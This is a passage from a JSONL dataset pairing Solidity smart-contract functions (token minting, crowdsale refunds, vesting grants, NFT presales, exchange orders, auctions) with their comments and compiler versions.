token.mint(_teamFund,tokensForTeam);\r\n token.mint(_bountyFund,tokensForBounty);\r\n token.mint(_reserveFund,tokensForReserve);\r\n token.mint(_advisoryFund,tokensForAdvisors);\r\n finalize();\r\n }", "version": "0.4.25"} {"comment": "/**\n * @dev Set the fee divisor for the specified token\n */", "function_code": "function setFeeDivisor(address token, uint256 _feeDivisor) external override returns (uint256 oldDivisor) {\n require(operator == msg.sender, \"UNAUTHORIZED\");\n require(_feeDivisor != 0, \"DIVISIONBYZERO\");\n oldDivisor = feeDivisors[token];\n feeDivisors[token] = _feeDivisor;\n emit FeeDivisorChanged(operator, token, oldDivisor, _feeDivisor);\n }", "version": "0.7.3"} {"comment": "//minting a new NFT", "function_code": "function mint(uint number) payable public {\r\n require(saleState_ == State.OpenSale, 'Sale is not open yet!');\r\n require(totalSupply() + number <= maxTokens, 'No more NFTs left to mint!');\r\n require(msg.value >= mintCost() * number, 'Insufficient Funds, Check current price to Mint');\r\n require(mintsPerAddress[msg.sender] + number <= maxMint, 'Maximum Mints per Address reached!');\r\n \r\n for (uint i = 0; i < number; i++) {\r\n uint tid = tokenId();\r\n _safeMint(msg.sender, tid);\r\n mintsPerAddress[msg.sender] += 1;\r\n }\r\n \r\n }", "version": "0.8.7"} {"comment": "//to see the price of minting", "function_code": "function mintCost() public view returns(uint) {\r\n if (saleState_ == State.NoSale) {\r\n return mintCost_;\r\n }\r\n else {\r\n uint incrementPeriods = (block.timestamp - saleLaunchTime) / 300;\r\n if (mintCost_ <= (incrementPeriods * 0.00017361 ether)) {\r\n return 0;\r\n }\r\n else {\r\n return mintCost_ - (incrementPeriods * 0.00017361 ether);\r\n }\r\n }\r\n }", "version": "0.8.7"} {"comment": "/// @dev Accepts ether and creates new edan tokens.", "function_code": "function createTokens() payable external {\r\n if (isFinalized) throw;\r\n if (block.number < fundingStartBlock) throw;\r\n if (block.number > fundingEndBlock) throw;\r\n if (msg.value == 0) throw;\r\n\r\n uint256 tokens = safeMult(msg.value, ExchangeRate); // check that we're not over totals\r\n uint256 checkedSupply = safeAdd(totalSupply, tokens);\r\n\r\n // return money if something goes wrong\r\n if (tokenCreationCap < checkedSupply) throw; // odd fractions won't be found\r\n\r\n totalSupply = checkedSupply;\r\n balances[msg.sender] += tokens; // safeAdd not needed; bad semantics to use here\r\n Createedan(msg.sender, tokens); // logs token creation\r\n }", "version": "0.4.12"} {"comment": "/// @dev Ends the funding period and sends the ETH home", "function_code": "function finalize() external {\r\n if (isFinalized) throw;\r\n if (msg.sender != ethFundDeposit) throw; // locks finalize to the ultimate ETH owner\r\n if(totalSupply < tokenCreationMin) throw; // have to sell minimum to move to operational\r\n if(block.number <= fundingEndBlock && totalSupply != tokenCreationCap) throw;\r\n // move to operational\r\n isFinalized = true;\r\n if(!ethFundDeposit.send(this.balance)) throw; // send the eth to EDAN \r\n }", "version": "0.4.12"} {"comment": "/// @dev Allows contributors to recover their ether in the case of a failed funding campaign.", "function_code": "function refund() external {\r\n if(isFinalized) throw; // prevents refund if operational\r\n if (block.number <= fundingEndBlock) throw; // prevents refund until sale period is over\r\n if(totalSupply >= tokenCreationMin) throw; // no refunds if we sold enough\r\n if(msg.sender == edanFundDeposit) throw; // EDAN not entitled to a refund\r\n uint256 edanVal = balances[msg.sender];\r\n if (edanVal == 0) throw;\r\n balances[msg.sender] = 0;\r\n totalSupply = safeSubtract(totalSupply, edanVal); // extra safe\r\n uint256 ethVal = edanVal / ExchangeRate; // should be safe; previous throws covers edges\r\n LogRefund(msg.sender, ethVal); // log it \r\n if (!msg.sender.send(ethVal)) throw; // if you're using a contract; make sure it works with .send gas limits\r\n }", "version": "0.4.12"} {"comment": "// Creates a new token type and assings _initialSupply to minter", "function_code": "function _create(uint256 _initialSupply, address _to, string memory _name) internal returns (uint256 _id) {\r\n\r\n _id = ++nonce;\r\n balances[_id][_to] = _initialSupply;\r\n _totalSupplies[_id] = _initialSupply;\r\n\r\n // Transfer event with mint semantic\r\n emit TransferSingle(msg.sender, address(0x0), _to, _id, _initialSupply);\r\n\r\n emit URI(string(abi.encodePacked(baseTokenURI(),Strings.uint2str(_id))), _id);\r\n\r\n if (bytes(_name).length > 0)\r\n emit CreationName(_name, _id);\r\n\r\n }", "version": "0.5.2"} {"comment": "/**\n @notice This function is used to invest in given balancer pool using ETH/ERC20 Tokens\n @param _FromTokenContractAddress The token used for investment (address(0x00) if ether)\n @param _ToBalancerPoolAddress The address of balancer pool\n @param _toTokenContractAddress The token with which we are adding liquidity\n @param _amount The amount of fromToken to invest\n @param _minPoolTokens Minimum quantity of pool tokens to receive. Reverts otherwise\n @param _swapTarget indicates the execution target for swap.\n @param swapData indicates the callData for execution\n @param affiliate Affiliate address\n @return LPTRec quantity of Balancer pool tokens acquired\n */", "function_code": "function ZapIn(\n address _FromTokenContractAddress,\n address _ToBalancerPoolAddress,\n address _toTokenContractAddress,\n uint256 _amount,\n uint256 _minPoolTokens,\n address _swapTarget,\n bytes calldata swapData,\n address affiliate\n ) external payable stopInEmergency returns (uint256 LPTRec) {\n require(\n BalancerFactory.isBPool(_ToBalancerPoolAddress),\n \"Invalid Balancer Pool\"\n );\n\n // get incoming tokens\n uint256 toInvest =\n _pullTokens(_FromTokenContractAddress, _amount, affiliate, true);\n\n LPTRec = _performZapIn(\n _FromTokenContractAddress,\n _ToBalancerPoolAddress,\n toInvest,\n _toTokenContractAddress,\n _swapTarget,\n swapData\n );\n\n require(LPTRec >= _minPoolTokens, \"High Slippage\");\n\n IERC20(_ToBalancerPoolAddress).safeTransfer(msg.sender, LPTRec);\n\n emit zapIn(msg.sender, _ToBalancerPoolAddress, LPTRec);\n\n return LPTRec;\n }", "version": "0.8.4"} {"comment": "// Polka Party Team - always failing *Removed Require* Better solution is needed\n// uniswap - Ensure the provided reward amount is not more than the balance in the contract.\n// This keeps the reward rate in the right range, preventing overflows due to\n// very high values of rewardRate in the earned and rewardsPerToken functions;\n// Reward + leftover must be less than 2^256 / 10^18 to avoid overflow.\n//\n// uint balance = rewardsToken.balanceOf(address(this));\n// require(rewardRate <= balance.div(rewardsDuration), \"Provided reward too high\");", "function_code": "function notifyRewardAmount(uint256 reward) external onlyRewardsDistribution setReward(address(0)) {\r\n if (block.timestamp >= periodFinish) {\r\n rewardRate = reward.div(rewardsDuration);\r\n // base instructions \r\n lastUpdateTime = block.timestamp;\r\n periodFinish = block.timestamp.add(rewardsDuration);\r\n } else {\r\n uint256 remaining = periodFinish.sub(block.timestamp);\r\n uint256 leftover = remaining.mul(rewardRate);\r\n rewardRate = reward.add(leftover).div(rewardsDuration);\r\n // base instructions \r\n lastUpdateTime = block.timestamp;\r\n periodFinish = block.timestamp.add(rewardsDuration);\r\n }\r\n emit RewardAdded(reward);\r\n }", "version": "0.5.17"} {"comment": "// Retrieve the encrypted key to decrypt a resource referenced by an accepted proposal.", "function_code": "function getEncryptedResourceDecryptionKey(uint256 proposalId, uint256 resourceId) external view returns (bytes) {\r\n require(proposalId < proposalCount);\r\n require(ProposalState.AcceptedByResourceSetCreator == statesByProposalId[proposalId]);\r\n require(resourceId < resourceCount);\r\n\r\n uint256[] memory validResourceIds = resourceSetsById[proposalsById[proposalId].resourceSetId].uniqueResourceIdsSortedAscending;\r\n require(0 < validResourceIds.length);\r\n\r\n if (1 == validResourceIds.length) {\r\n require(resourceId == validResourceIds[0]);\r\n\r\n } else {\r\n uint256 lowIndex = 0;\r\n uint256 highIndex = validResourceIds.length.sub(1);\r\n uint256 middleIndex = lowIndex.add(highIndex).div(2);\r\n\r\n while (resourceId != validResourceIds[middleIndex]) {\r\n require(lowIndex <= highIndex);\r\n\r\n if (validResourceIds[middleIndex] < resourceId) {\r\n lowIndex = middleIndex.add(1);\r\n } else {\r\n highIndex = middleIndex.sub(1);\r\n }\r\n\r\n middleIndex = lowIndex.add(highIndex).div(2);\r\n }\r\n }\r\n\r\n return encryptedDecryptionKeysByProposalIdAndResourceId[proposalId][resourceId];\r\n }", "version": "0.4.19"} {"comment": "// This function moves a proposal to a final state of `RejectedByResourceSetCreator' and sends tokens to the\n// destinations described by the proposal's transfers.\n//\n// The caller should encrypt each decryption key corresponding\n// to each resource in the proposal's resource set first with the public key of the proposal's creator and then with\n// the private key assoicated with the public key referenced in the resource set. The caller should concatenate\n// these encrypted values and pass the resulting byte array as 'concatenatedResourceDecryptionKeys'.\n// The length of each encrypted decryption key should be provided in the 'concatenatedResourceDecryptionKeyLengths'.\n// The index of each value in 'concatenatedResourceDecryptionKeyLengths' must correspond to an index in the resource\n// set referenced by the proposal.", "function_code": "function acceptProposal(\r\n uint256 proposalId,\r\n bytes concatenatedResourceDecryptionKeys,\r\n uint256[] concatenatedResourceDecryptionKeyLengths\r\n ) external\r\n {\r\n require(proposalId < proposalCount);\r\n require(ProposalState.Pending == statesByProposalId[proposalId]);\r\n\r\n Proposal memory proposal = proposalsById[proposalId];\r\n require(msg.sender == resourceSetsById[proposal.resourceSetId].creator);\r\n\r\n storeEncryptedDecryptionKeys(\r\n proposalId,\r\n concatenatedResourceDecryptionKeys,\r\n concatenatedResourceDecryptionKeyLengths\r\n );\r\n\r\n transferTokensFromEscrow(proposal.tokenTransferSetId);\r\n\r\n statesByProposalId[proposalId] = ProposalState.AcceptedByResourceSetCreator;\r\n }", "version": "0.4.19"} {"comment": "// For marketing etc.", "function_code": "function devMint(uint256 quantity) external onlyOwner {\n require(totalSupply() + quantity <= devMintQty, \"too many already minted before dev mint\");\n require(quantity % maxBatchSize == 0, \"can only mint a multiple of the maxBatchSize\");\n uint256 numChunks = quantity / maxBatchSize;\n for (uint256 i = 0; i < numChunks; i++) {\n _safeMint(msg.sender, maxBatchSize);\n }\n tokenDistributor.updateRewardOnMint(msg.sender);\n bulliesBalance[msg.sender] += quantity;\n }", "version": "0.8.11"} {"comment": "// Internal function transfer can only be called by this contract\n// Emit Transfer Event event ", "function_code": "function _transfer(address _from, address _to, uint256 _value) internal {\r\n // Ensure sending is to valid address! 0x0 address cane be used to burn() \r\n require(_to != address(0));\r\n balanceOf[_from] = balanceOf[_from] - (_value);\r\n balanceOf[_to] = balanceOf[_to] + (_value);\r\n emit Transfer(_from, _to, _value);\r\n }", "version": "0.8.9"} {"comment": "/**\r\n * @dev Calculate amount of vested tokens at a specific time\r\n * @param tokens uint256 The amount of tokens granted\r\n * @param time uint64 The time to be checked\r\n * @param start uint64 The time representing the beginning of the grant\r\n * @param cliff uint64 The cliff period, the period before nothing can be paid out\r\n * @param vesting uint64 The vesting period\r\n * @return An uint256 representing the amount of vested tokens of a specific grant\r\n * transferableTokens\r\n * | _/-------- vestedTokens rect\r\n * | _/\r\n * | _/\r\n * | _/\r\n * | _/\r\n * | /\r\n * | .|\r\n * | . |\r\n * | . |\r\n * | . |\r\n * | . |\r\n * | . |\r\n * +===+===========+---------+----------> time\r\n * Start Cliff Vesting\r\n */", "function_code": "function calculateVestedTokens(\r\n uint256 tokens,\r\n uint256 time,\r\n uint256 start,\r\n uint256 cliff,\r\n uint256 vesting) public constant returns (uint256)\r\n {\r\n // Shortcuts for before cliff and after vesting cases.\r\n if (time < cliff) return 0;\r\n if (time >= vesting) return tokens;\r\n\r\n // Interpolate all vested tokens.\r\n // As before cliff the shortcut returns 0, we can use just calculate a value\r\n // in the vesting rect (as shown in above's figure)\r\n\r\n // vestedTokens = (tokens * (time - start)) / (vesting - start)\r\n uint256 vestedTokens = SafeMath.div(\r\n SafeMath.mul(\r\n tokens,\r\n SafeMath.sub(time, start)\r\n ),\r\n SafeMath.sub(vesting, start)\r\n );\r\n\r\n return vestedTokens;\r\n }", "version": "0.4.16"} {"comment": "// @notice Takes order from 0x and returns bool indicating if it is successful\n// @param _addresses [exchange, src, dst]\n// @param _data Data to send with call\n// @param _value Value to send with call\n// @param _amount Amount being sold", "function_code": "function takeOrder(address[3] memory _addresses, bytes memory _data, uint _value, uint _amount) private returns(bool, uint, uint) {\n bool success;\n\n (success, ) = _addresses[0].call.value(_value)(_data);\n\n uint tokensLeft = _amount;\n uint tokensReturned = 0;\n if (success){\n // check how many tokens left from _src\n if (_addresses[1] == KYBER_ETH_ADDRESS) {\n tokensLeft = address(this).balance;\n } else {\n tokensLeft = ERC20(_addresses[1]).balanceOf(address(this));\n }\n\n // check how many tokens are returned\n if (_addresses[2] == KYBER_ETH_ADDRESS) {\n TokenInterface(WETH_ADDRESS).withdraw(TokenInterface(WETH_ADDRESS).balanceOf(address(this)));\n tokensReturned = address(this).balance;\n } else {\n tokensReturned = ERC20(_addresses[2]).balanceOf(address(this));\n }\n }\n\n return (success, tokensReturned, tokensLeft);\n }", "version": "0.5.7"} {"comment": "/// @notice Returns the best estimated price from 2 exchanges\n/// @param _amount Amount of source tokens you want to exchange\n/// @param _srcToken Address of the source token\n/// @param _destToken Address of the destination token\n/// @return (address, uint) The address of the best exchange and the exchange price", "function_code": "function getBestPrice(uint _amount, address _srcToken, address _destToken, uint _exchangeType) public returns (address, uint) {\n uint expectedRateKyber;\n uint expectedRateUniswap;\n uint expectedRateOasis;\n\n\n if (_exchangeType == 1) {\n return (OASIS_WRAPPER, getExpectedRate(OASIS_WRAPPER, _srcToken, _destToken, _amount));\n }\n\n if (_exchangeType == 2) {\n return (KYBER_WRAPPER, getExpectedRate(KYBER_WRAPPER, _srcToken, _destToken, _amount));\n }\n\n if (_exchangeType == 3) {\n expectedRateUniswap = getExpectedRate(UNISWAP_WRAPPER, _srcToken, _destToken, _amount);\n expectedRateUniswap = expectedRateUniswap * (10 ** (18 - getDecimals(_destToken)));\n return (UNISWAP_WRAPPER, expectedRateUniswap);\n }\n\n expectedRateKyber = getExpectedRate(KYBER_WRAPPER, _srcToken, _destToken, _amount);\n expectedRateUniswap = getExpectedRate(UNISWAP_WRAPPER, _srcToken, _destToken, _amount);\n expectedRateUniswap = expectedRateUniswap * (10 ** (18 - getDecimals(_destToken)));\n expectedRateOasis = getExpectedRate(OASIS_WRAPPER, _srcToken, _destToken, _amount);\n\n if ((expectedRateKyber >= expectedRateUniswap) && (expectedRateKyber >= expectedRateOasis)) {\n return (KYBER_WRAPPER, expectedRateKyber);\n }\n\n if ((expectedRateOasis >= expectedRateKyber) && (expectedRateOasis >= expectedRateUniswap)) {\n return (OASIS_WRAPPER, expectedRateOasis);\n }\n\n if ((expectedRateUniswap >= expectedRateKyber) && (expectedRateUniswap >= expectedRateOasis)) {\n return (UNISWAP_WRAPPER, expectedRateUniswap);\n }\n }", "version": "0.5.7"} {"comment": "/// @notice Takes a feePercentage and sends it to wallet\n/// @param _amount Dai amount of the whole trade\n/// @return feeAmount Amount in Dai owner earned on the fee", "function_code": "function takeFee(uint _amount, address _token) internal returns (uint feeAmount) {\n uint fee = SERVICE_FEE;\n\n if (Discount(DISCOUNT_ADDRESS).isCustomFeeSet(msg.sender)) {\n fee = Discount(DISCOUNT_ADDRESS).getCustomServiceFee(msg.sender);\n }\n\n if (fee == 0) {\n feeAmount = 0;\n } else {\n feeAmount = _amount / SERVICE_FEE;\n if (_token == KYBER_ETH_ADDRESS) {\n WALLET_ID.transfer(feeAmount);\n } else {\n ERC20(_token).transfer(WALLET_ID, feeAmount);\n }\n }\n }", "version": "0.5.7"} {"comment": "// ------------------------------------------------------------------------\n// Function to mint tokens within the cap limit\n// @param _to The address that will receive the minted tokens.\n// @param _amount The amount of tokens to mint.\n// @return A boolean that indicates if the operation was successful.\n// ------------------------------------------------------------------------", "function_code": "function mint(address _to, uint256 _amount) hasMintPermission canMint public returns (bool) {\r\n require(_amount <= batchlimits);\r\n require(_totalSupply.add(_amount) <= cap);\r\n _totalSupply = _totalSupply.add(_amount);\r\n balances[_to] = balances[_to].add(_amount);\r\n emit Mint(_to, _amount);\r\n emit Transfer(address(0), _to, _amount);\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "// @dev 1) Ends the previous auction if it hasn't been ended already\n// 2) Mints a new Mxtter Token\n// 3) Create a new zora auction with the minted token\n// 4) Creates a min bid on the auction to kick off the timer\n// 5) Updates curent auction ID", "function_code": "function newAuction() external onlyOwner {\n // Will revert if auction was already ended by someone else\n try auctionHouse.endAuction(curAuctionId) {\n emit Log(\"ended auction\", curAuctionId);\n } catch {\n emit Log(\"auction already ended\", curAuctionId);\n }\n\n uint256 tokenId = mxtterToken.mintToken(\n address(this),\n preGenerativeURI\n );\n uint256 auctionId = auctionHouse.createAuction(\n tokenId,\n address(mxtterToken),\n duration,\n reservePrice,\n payable(0x0000000000000000000000000000000000000000),\n 0,\n 0x0000000000000000000000000000000000000000\n );\n auctionHouse.createBid{value: reservePrice}(auctionId, reservePrice);\n curAuctionId = auctionId;\n\n emit NewAuction(tokenId, auctionId, mxtterToken.getTokenHash(tokenId));\n }", "version": "0.8.4"} {"comment": "/// @inheritdoc\tIERC2981Royalties", "function_code": "function royaltyInfo(\r\n\t\tuint256,\r\n\t\tuint256 _value\r\n\t)\r\n\t\texternal\r\n\t\tview\r\n\t\toverride\r\n\t\treturns (address receiver, uint256 royaltyAmount)\r\n\t{\r\n\t\tRoyaltyInfo memory royalties = _royalties;\r\n\t\treceiver = royalties.recipient;\r\n\t\troyaltyAmount = (_value * royalties.amount) / 10000;\r\n\t}", "version": "0.8.9"} {"comment": "// claim for hodl", "function_code": "function claimDAO() public {\n require(\n rally.balanceOf(msg.sender) >= rallyBalance || \n bank.balanceOf(msg.sender) >= bankBalance ||\n fwb.balanceOf(msg.sender) >= fwbBalance ||\n ff.balanceOf(msg.sender) >= ffBalance,\n \"low balance\"\n );\n require(!daoClaimed[msg.sender], \"already claimed\");\n require(limit > 0, \"out of supply\");\n _mintSeed(1, msg.sender);\n limit = limit.sub(1);\n daoClaimed[msg.sender] = true;\n }", "version": "0.8.4"} {"comment": "// mintPreSale allows for minting by allowed addresses during the pre-sale.", "function_code": "function mintPreSale(\r\n uint8 quantity,\r\n bytes32[] calldata merkleProof)\r\n external\r\n payable\r\n nonReentrant\r\n preSaleActive\r\n canMintTunes(quantity)\r\n isCorrectPayment(SALE_PRICE, quantity)\r\n isValidMerkleProof(merkleProof, preSaleMerkleRoot)\r\n {\r\n uint256 numAlreadyMinted = mintCounts[msg.sender];\r\n\r\n require(\r\n numAlreadyMinted + quantity <= MAX_PER_WALLET_PRESALE,\r\n \"Max tunes to mint in Presale is one\"\r\n );\r\n\r\n require(\r\n totalSupply() + quantity <= maxPreSaleTunes,\r\n \"Not enough tunes remaining to mint\"\r\n );\r\n\r\n mintCounts[msg.sender] = numAlreadyMinted + quantity;\r\n\r\n _safeMint(msg.sender, quantity);\r\n }", "version": "0.8.7"} {"comment": "/**\n * @dev Take orders by their orderID.\n * @param orderIDs Array of order ids to be taken.\n * @param buyers Array of buyers.\n * @param quantity Array of quantity per purchase.\n * @param timeOutBlockNumber Time-out block number.\n */", "function_code": "function takeOrders(\n bytes32[] calldata orderIDs,\n address[] calldata buyers,\n uint256[] calldata quantity,\n uint256 timeOutBlockNumber\n ) external whenNotPaused checkBatchLength(orderIDs.length) checkTimeOut(timeOutBlockNumber) {\n require(\n orderIDs.length == buyers.length && buyers.length == quantity.length,\n \"Exchange: orders and buyers not equal\"\n );\n\n for (uint256 i = 0; i < orderIDs.length; i = i + 1) {\n takeOrder(orderIDs[i], buyers[i], quantity[i], timeOutBlockNumber);\n }\n }", "version": "0.5.12"} {"comment": "/**\n * @dev Let investor make an order, providing the approval is done beforehand.\n * @param isComplete If this order can be filled partially (by default), or can only been taken as a whole.\n * @param sellToken Address of the token to be sold in this order.\n * @param sellAmount Total amount of token that is planned to be sold in this order.\n * @param buyToken Address of the token to be purchased in this order.\n * @param buyAmount Total amount of token planned to be bought by the maker\n * @param timeOutBlockNumber Time-out block number.\n */", "function_code": "function makeOrder(\n bytes32 orderID,\n address specificTaker, // if no one, just pass address(0)\n address seller,\n bool isComplete,\n ISygnumToken sellToken,\n uint256 sellAmount,\n ISygnumToken buyToken,\n uint256 buyAmount,\n uint256 timeOutBlockNumber\n )\n public\n whenNotPaused\n checkTimeOut(timeOutBlockNumber)\n onlyPaired(address(buyToken), address(sellToken))\n whenNotFrozen(address(buyToken), address(sellToken))\n {\n address _seller = isTrader(msg.sender) ? seller : msg.sender;\n _makeOrder(orderID, specificTaker, _seller, isComplete, sellToken, sellAmount, buyToken, buyAmount);\n }", "version": "0.5.12"} {"comment": "/**\n * @dev Cancel an order by its maker or a trader.\n * @param orderID Order ID.\n */", "function_code": "function cancelOrder(bytes32 orderID) public {\n require(orders.exists(orderID), \"Exchange: order ID does not exist\");\n Order memory theOrder = order[orderID];\n require(\n isTrader(msg.sender) || (isNotPaused() && theOrder.maker == msg.sender),\n \"Exchange: not eligible to cancel this order or the exchange is paused\"\n );\n theOrder.sellToken.unblock(theOrder.maker, theOrder.sellAmount);\n orders.remove(orderID);\n delete order[orderID];\n emit CancelledOrder(orderID, msg.sender, theOrder.sellToken, theOrder.buyToken);\n }", "version": "0.5.12"} {"comment": "/**\n * @dev Internal take order\n * @param orderID Order ID.\n * @param buyer Address of a seller, if applies.\n * @param quantity Amount to purchase.\n */", "function_code": "function _takeOrder(\n bytes32 orderID,\n address buyer,\n uint256 quantity\n ) private {\n require(orders.exists(orderID), \"Exchange: order ID does not exist\");\n require(buyer != address(0), \"Exchange: buyer cannot be set to an empty address\");\n require(quantity > 0, \"Exchange: quantity cannot be zero\");\n Order memory theOrder = order[orderID];\n require(\n theOrder.specificTaker == address(0) || theOrder.specificTaker == buyer,\n \"Exchange: not specific taker\"\n );\n require(!isFrozen(address(theOrder.buyToken), address(theOrder.sellToken)), \"Exchange: tokens are frozen\");\n uint256 spend = 0;\n uint256", "version": "0.5.12"} {"comment": "/**\n * @dev Internal make order\n * @param orderID Order ID.\n * @param specificTaker Address of a taker, if applies.\n * @param isComplete If this order can be filled partially, or can only been taken as a whole.\n * @param sellToken Address of the token to be sold in this order.\n * @param sellAmount Total amount of token that is planned to be sold in this order.\n * @param buyToken Address of the token to be purchased in this order.\n * @param buyAmount Total amount of token planned to be bought by the maker.\n */", "function_code": "function _makeOrder(\n bytes32 orderID,\n address specificTaker,\n address seller,\n bool isComplete,\n ISygnumToken sellToken,\n uint256 sellAmount,\n ISygnumToken buyToken,\n uint256 buyAmount\n ) private {\n require(!orders.exists(orderID), \"Exchange: order id already exists\");\n require(specificTaker != msg.sender, \"Exchange: Cannot make an order for oneself\");\n require(sellAmount > 0, \"Exchange: sell amount cannot be empty\");\n require(buyAmount > 0, \"Exchange: buy amount cannot be empty\");\n\n require(sellToken.balanceOf(seller) >= sellAmount, \"Exchange: seller does not have enough balance\");\n require(\n sellToken.allowance(seller, address(this)) >= sellAmount,\n \"Exchange: sell amount is greater than allowance\"\n );\n require(\n Whitelist(Whitelistable(address(buyToken)).getWhitelistContract()).isWhitelisted(seller),\n \"Exchange: seller is not on buy token whitelist\"\n );\n\n if (specificTaker != address(0)) {\n require(\n Whitelist(Whitelistable(address(sellToken)).getWhitelistContract()).isWhitelisted(specificTaker),\n \"Exchange: specific taker is not on sell token whitelist\"\n );\n }\n\n sellToken.block(seller, sellAmount);\n\n order[orderID] = Order({\n maker: seller,\n specificTaker: specificTaker,\n isComplete: isComplete,\n sellToken: sellToken,\n sellAmount: sellAmount,\n buyToken: buyToken,\n buyAmount: buyAmount\n });\n orders.insert(orderID);\n emit MadeOrder(orderID, sellToken, buyToken, seller, specificTaker, isComplete, sellAmount, buyAmount);\n emit MadeOrderParticipants(orderID, seller, specificTaker);\n }", "version": "0.5.12"} {"comment": "/**\r\n * @dev Function to grant the amount of tokens that will be vested later.\r\n * @param _to The address which will own the tokens.\r\n * @param _amount The amount of tokens that will be vested later.\r\n * @param _start Token timestamp start.\r\n * @param _cliff Token timestamp release start.\r\n * @param _vesting Token timestamp release end.\r\n */", "function_code": "function grantToken(\r\n address _to,\r\n uint256 _amount,\r\n uint256 _start,\r\n uint256 _cliff,\r\n uint256 _vesting\r\n )\r\n public\r\n returns (bool success)\r\n {\r\n require(_to != address(0));\r\n require(_amount <= balances[msg.sender], \"Not enough balance to grant token.\");\r\n require(_amount > 0, \"Nothing to transfer.\");\r\n require((timeLocks[_to].amount.sub(timeLocks[_to].vestedAmount) == 0), \"The previous vesting should be completed.\");\r\n require(_cliff >= _start, \"_cliff must be >= _start\");\r\n require(_vesting > _start, \"_vesting must be bigger than _start\");\r\n require(_vesting > _cliff, \"_vesting must be bigger than _cliff\");\r\n\r\n balances[msg.sender] = balances[msg.sender].sub(_amount);\r\n timeLocks[_to] = TimeLock(_amount, 0, 0, _start, _cliff, _vesting, msg.sender);\r\n\r\n emit NewTokenGrant(msg.sender, _to, _amount, _start, _cliff, _vesting);\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Function to calculate the amount of tokens that can be vested at this moment.\r\n * @param _to The address which will own the tokens.\r\n * @return amount - A uint256 specifying the amount of tokens available to be vested at this moment.\r\n * @return vestedMonths - A uint256 specifying the number of the vested months since the last vesting.\r\n * @return curTime - A uint256 specifying the current timestamp.\r\n */", "function_code": "function calcVestableToken(address _to)\r\n internal view\r\n returns (uint256 amount, uint256 vestedMonths, uint256 curTime)\r\n {\r\n uint256 vestTotalMonths;\r\n uint256 vestedAmount;\r\n uint256 vestPart;\r\n amount = 0;\r\n vestedMonths = 0;\r\n curTime = now;\r\n \r\n require(timeLocks[_to].amount > 0, \"Nothing was granted to this address.\");\r\n \r\n if (curTime <= timeLocks[_to].cliff) {\r\n return (0, 0, curTime);\r\n }\r\n\r\n vestedMonths = curTime.sub(timeLocks[_to].start) / MONTH;\r\n vestedMonths = vestedMonths.sub(timeLocks[_to].vestedMonths);\r\n\r\n if (curTime >= timeLocks[_to].vesting) {\r\n return (timeLocks[_to].amount.sub(timeLocks[_to].vestedAmount), vestedMonths, curTime);\r\n }\r\n\r\n if (vestedMonths > 0) {\r\n vestTotalMonths = timeLocks[_to].vesting.sub(timeLocks[_to].start) / MONTH;\r\n vestPart = timeLocks[_to].amount.div(vestTotalMonths);\r\n amount = vestedMonths.mul(vestPart);\r\n vestedAmount = timeLocks[_to].vestedAmount.add(amount);\r\n if (vestedAmount > timeLocks[_to].amount) {\r\n amount = timeLocks[_to].amount.sub(timeLocks[_to].vestedAmount);\r\n }\r\n }\r\n\r\n return (amount, vestedMonths, curTime);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Function to redeem tokens that can be vested at this moment.\r\n * @param _to The address which will own the tokens.\r\n */", "function_code": "function redeemVestableToken(address _to)\r\n public\r\n returns (bool success)\r\n {\r\n require(_to != address(0));\r\n require(timeLocks[_to].amount > 0, \"Nothing was granted to this address!\");\r\n require(timeLocks[_to].vestedAmount < timeLocks[_to].amount, \"All tokens were vested!\");\r\n\r\n (uint256 amount, uint256 vestedMonths, uint256 curTime) = calcVestableToken(_to);\r\n require(amount > 0, \"Nothing to redeem now.\");\r\n\r\n TimeLock storage t = timeLocks[_to];\r\n balances[_to] = balances[_to].add(amount);\r\n t.vestedAmount = t.vestedAmount.add(amount);\r\n t.vestedMonths = t.vestedMonths + uint16(vestedMonths);\r\n t.cliff = curTime;\r\n\r\n emit VestedTokenRedeemed(_to, amount, vestedMonths);\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Function to return granted token to the initial sender.\r\n * @param _amount - A uint256 specifying the amount of tokens to be returned.\r\n */", "function_code": "function returnGrantedToken(uint256 _amount)\r\n public\r\n returns (bool success)\r\n {\r\n address to = timeLocks[msg.sender].from;\r\n require(to != address(0));\r\n require(_amount > 0, \"Nothing to transfer.\");\r\n require(timeLocks[msg.sender].amount > 0, \"Nothing to return.\");\r\n require(_amount <= timeLocks[msg.sender].amount.sub(timeLocks[msg.sender].vestedAmount), \"Not enough granted token to return.\");\r\n\r\n timeLocks[msg.sender].amount = timeLocks[msg.sender].amount.sub(_amount);\r\n balances[to] = balances[to].add(_amount);\r\n\r\n emit GrantedTokenReturned(msg.sender, to, _amount);\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Mints monster tokens during presale, optionally with discounts\r\n * @param _numberOfTokens Number of tokens to mint\r\n * @param _satsForDiscount Array of Satoshible IDs for discounted mints\r\n * @param _whitelistedTokens Account's total number of whitelisted tokens\r\n * @param _proof Merkle proof to be verified\r\n */", "function_code": "function mintTokensPresale(\r\n uint256 _numberOfTokens,\r\n uint256[] calldata _satsForDiscount,\r\n uint256 _whitelistedTokens,\r\n bytes32[] calldata _proof\r\n )\r\n external\r\n payable\r\n {\r\n require(\r\n publicSaleOpenedEarly == false,\r\n \"Presale has ended\"\r\n );\r\n\r\n require(\r\n belowMaximum(monsterIds.current(), _numberOfTokens,\r\n MAX_PRESALE_TOKEN_ID\r\n ) == true,\r\n \"Would exceed presale size\"\r\n );\r\n\r\n require(\r\n belowMaximum(whitelistMintsUsed[_msgSender()], _numberOfTokens,\r\n _whitelistedTokens\r\n ) == true,\r\n \"Would exceed whitelisted count\"\r\n );\r\n\r\n require(\r\n verifyWhitelisted(_msgSender(), _whitelistedTokens,\r\n _proof\r\n ) == true,\r\n \"Invalid whitelist proof\"\r\n );\r\n\r\n whitelistMintsUsed[_msgSender()] += _numberOfTokens;\r\n\r\n _doMintTokens(\r\n _numberOfTokens,\r\n _satsForDiscount\r\n );\r\n }", "version": "0.8.9"} {"comment": "/**\r\n * @notice Mints monsters during public sale, optionally with discounts\r\n * @param _numberOfTokens Number of monster tokens to mint\r\n * @param _satsForDiscount Array of Satoshible IDs for discounted mints\r\n */", "function_code": "function mintTokensPublicSale(\r\n uint256 _numberOfTokens,\r\n uint256[] calldata _satsForDiscount\r\n )\r\n external\r\n payable\r\n {\r\n require(\r\n publicSaleOpened() == true,\r\n \"Public sale has not started\"\r\n );\r\n\r\n require(\r\n 